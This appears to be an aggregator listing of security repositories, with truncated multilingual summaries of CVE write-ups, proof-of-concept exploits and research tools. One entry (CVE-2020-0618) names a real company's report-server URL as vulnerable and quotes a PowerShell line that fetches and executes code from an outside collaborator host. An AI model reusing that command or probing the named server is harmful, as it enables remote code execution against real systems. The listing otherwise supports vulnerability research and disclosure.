The vulnerability of the MmMapIoSpace() function in the ThrottleBlood.sys driver allows a hacker to escalate their privileges, execute arbitrary code, or cause a service failure.

The vulnerability of the MmMapIoSpace function in the ThrottleBlood.sys driver, as part of the ThrottleStop utility, is related to open IOCTLs with insufficient access control. Exploiting this vulnerability could allow an attacker to enhance their privileges, execute arbitrary code, or cause...

The vulnerability of the pg_dump utility in the PostgreSQL database management system allows a hacker to execute arbitrary code.

The vulnerability of the pgdump utility in the PostgreSQL database management system is related to the lack of security measures for SQL query structures. Exploiting this vulnerability allows a malicious actor to execute arbitrary code remotely...

CVE-2024-41290

CVE-2024-41290 Обнаружено, что FlatPress CMS v1.3.1 1.3 использует небезопасные методы хранения данных аутентификации Дополнительная информация: FlatPress CMS версии 1.3.1 небезопасно хранит данные, связанные с аутентификацией, включая имена пользователей и хешированные пароли, непосредственно в...

CVE-2025-59287

В этом исследовании мы рассмотрим критическую уязвимость CVE-2025-59287, обнаруженную в среде Microsoft Windows Server Update Services WSUS. Эта уязвимость возникает из-за небезопасной десериализации объектов AuthorizationCookie, отправляемых на конечную точку GetCookie, где зашифрованные данные...

CVE-2023-27524-POC

CVE-2023-27524: Обход аутентификации Apache Superset Скрипт для проверки того, уязвим ли сервер Apache Superset к CVE-2023-27524, и если уязвим, то подделывает сессионный cookie с userid = 1, который обычно является пользователем admin, что позволяет обойти аутентификацию и получить доступ к пане...

disclosures

Раскрытия Это репозиторий, в котором документируются проблемы безопасности, с которыми я столкнулся. Клиент Citrix для Linux раскрывает учётные данные в syslog Небезопасное создание временного ICA-файла в клиенте Citrix для Linux CVE-2023-24486...

Mohnad-AL-saif-CVE-2020-11107-XAMPP-Local-Privilege-Escalation

🧨 CVE-2020-11107 – Повышение привилегий локально в XAMPP Windows 📌 Обзор CVE-2020-11107 — это уязвимость локального повышения привилегий LPE , затрагивающая Apache Friends XAMPP на Windows. Непривилегированный пользователь может изменить файл конфигурации панели управления XAMPP xampp-control.ini...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - ссылка уязвима $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...

CVE-2025-27520

CVE-2025-27520 эксплойт для CVE-2025-27520. Уязвимость удалённого выполнения кода RCE, вызванная небезопасной десериализацией в последней версии v1.4.2 BentoML. Она позволяет любому неаутентифицированному пользователю выполнять произвольный код на сервере. Небезопасный фрагмент кода находится в...

firebaseExploiter

Scanner et Exploit Firebase CLI non sécurisé. Fonctionnalités • Installation • Utilisation Fonctionnalités Analyse de vulnérabilité en masse à partir d'une liste d'hôtes Données JSON personnalisées dans exploit.json à téléverser lors de l'exploitation Chemin d'URI personnalisé pour l'exploitation...

CVE-2026-12191

CVE-2026-12191 CVE-2026-12191에 대한 개념 증명 익스플로잇입니다. Comma AI Openpilot의 modeld.py에 존재하는 안전하지 않은 역직렬화 취약점으로, 로컬의 낮은 권한을 가진 공격자가 pickle.load/pickle.loads 역직렬화 루틴에 악의적으로 조작된 Python pickle 페이로드를 공급하여 임의 코드 실행을 달성할 수 있습니다. 취약한 버전 Comma AI Openpilot 0.11 영향 이 안전하지 않은 역직렬화 취약점으로 인해 로컬의 낮은 권한을 가진 공격자가 취약한...

CVE-2025-26318

TSplus Remote Access - CVE-2025-26318 Небезопасные разрешения - раскрытие информации 📌 Описание TSplus, по умолчанию, уязвим к раскрытию информации о пользователях, которые в данный момент подключены к домену на TSplus. 🔍 Детали уязвимости Идентификатор CVE : CVE-2025-26318 Поставщик : TSplus...

CVE-2020-13885

Exploit Title: Citrix Workspace app до версии 1912 для Windows - повышение привилегий 1 Date: 2020-06-07 Author: Andrew Hess Software Link: https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-windows/workspace-app-for-windows-1911.html/ Bulletin:...

Safenet_SAC_CVE-2021-42056

Повышение привилегий Safenet Authentication Client CVE-2021-42056 Согласно веб-сайту Thales 1, SafeNet Authentication Client — это клиентское промежуточное ПО, которое управляет обширным портфелем сертификатных аутентификаторов SafeNet от Thales, включая eTokens, смарт-карты SafeNet IDPrime, USB-...

ermir

Ermir Ermir est un registre RMI malveillant/espion, il exploite la désérialisation non sécurisée de tout code Java appelant les méthodes RMI standard sur celui-ci list/lookup/bind/rebind/unbind. Prérequis Ruby v3 ou plus récent. Installation Installez Ermir depuis rubygems.org : $ gem install erm...

CVE-2024-44902-env

CVE-2024-44902 - RCE через небезопасную десериализацию в ThinkPHP Уязвимое окружение для проверки nuclei-templates. Детали уязвимости Поле| Значение ---|--- Идентификатор CVE| CVE-2024-44902 Критичность| Критическая CVSS 9.8 Продукт| ThinkPHP Затронутые версии| 6.1.3 - 8.0.4 Тип| Небезопасная...

WebGoat

WebGoat: намеренно небезопасное веб-приложение Введение WebGoat — это намеренно небезопасное веб-приложение, поддерживаемое OWASP, предназначенное для обучения урокам по безопасности веб-приложений. Эта программа демонстрирует типичные уязвимости серверных приложений. Упражнения предназначены для...

PipeViewer

Un outil GUI pour visualiser les tubes nommés Windows et rechercher des permissions non sécurisées. L'outil a été publié dans le cadre d'une recherche sur les tubes nommés Docker : "Breaking Docker Named Pipes SYSTEMatically: Docker Desktop Privilege Escalation – Part 1" "Breaking Docker Named...

glasgo

Glasgo — инструмент статического анализа Официальный репозиторий проекта перенесён в Github-ttarvis/glasgo. Проект Это инструмент статического анализа, написанный на Go для Go-кода. Он находит проблемы безопасности и некоторые проблемы корректности, которые могут иметь последствия для безопасност...

ghidra-scripts

ghidra-scripts «Люди лучше приспособлены распознавать еду, чем удерживать в голове большие графы.» -- Halvar Flake Коллекция моих скриптов для Ghidra, облегчающих реверс-инжиниринг и исследование уязвимостей. Статья в блоге...